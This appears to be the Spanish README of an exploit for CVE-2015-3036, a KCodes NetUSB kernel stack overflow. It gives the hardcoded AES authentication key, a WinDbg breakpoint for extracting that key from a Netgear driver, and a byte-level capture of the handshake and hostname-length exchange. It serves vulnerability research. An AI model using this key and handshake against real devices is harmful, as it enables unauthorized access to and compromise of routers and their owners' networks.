- Exploit para explotar la vulnerabilidad CVE-2015-3036
- Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com
- Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net
- Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt
Dependencias
pip install pycrypto
Clave de cifrado / descifrado simétrico para la autenticación mutua entre cliente y servidor NetUSB.
AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"
Depuración del driver NetgearUDSTcpBus.sys con WinDbg
bu NetgearUDSTcpBus+1793d #Dirección RVA del driver donde poner el breakpoint para obtener la clave de cifrado almacenada en eax.
Ejemplo comunicación KCodes NetUSB con handshake y envío del nombre del equipo cliente junto con la longitud del mismo.
#send
char peer0_0[] = {
0x56, 0x05 };
'Random data para cifrar por el dispositivo'
char peer0_1[] = {
0x44, 0xad, 0x16, 0x46, 0xbd, 0xcd, 0xb7, 0x3f,
0x6d, 0x8c, 0xae, 0x6c, 0x42, 0x32, 0xbc, 0x53 };
#recv
'Random data cifrado por el dispositivo'
char peer1_0[] = {
0xcf, 0x08, 0x2b, 0x80, 0x46, 0x9b, 0x31, 0x28,
0x4c, 0x76, 0xc4, 0x10, 0xda, 0xb6, 0x8c, 0x25 };
Random data para cifrar por el cliente'
char peer1_1[] = {
0xd2, 0x5d, 0xa7, 0xe7, 0xa7, 0xf7, 0x39, 0xeb,
0x1e, 0xd3, 0x5b, 0xac, 0x34, 0x50, 0xec, 0x96 };
#send
Random data cifrado por el cliente'
char peer0_2[] = {
0x14, 0xa4, 0xe6, 0x5b, 0x8a, 0x0c, 0x04, 0x87,
0x5c, 0x76, 0x2b, 0xb6, 0xb9, 0xf0, 0xa6, 0xf2 };
#bytes con la longitud en caracteres del nombre del equipo
char peer0_3[] = {
0x0c, 0x00, 0x00, 0x00 };
#Nombre del equipo
char peer0_4[] = {
0x4d, 0x53, 0x4a, 0x33, 0x39, 0x53, 0x4b, 0x53,
0x4b, 0x4b, 0x53, 0x41 };
char peer0_5[] = {
0x07, 0x00, 0x00, 0x00 };
#recv
char peer1_2[] = {
0x07, 0x00, 0x00, 0x00 };
#send
char peer0_6[] = {
0x01 };
- Adrián Ruiz
- w: funsecurity.net
- t: @funsecurity.net
- e: adrian_adrianruiz.net
- GPG ID: 0x586270E8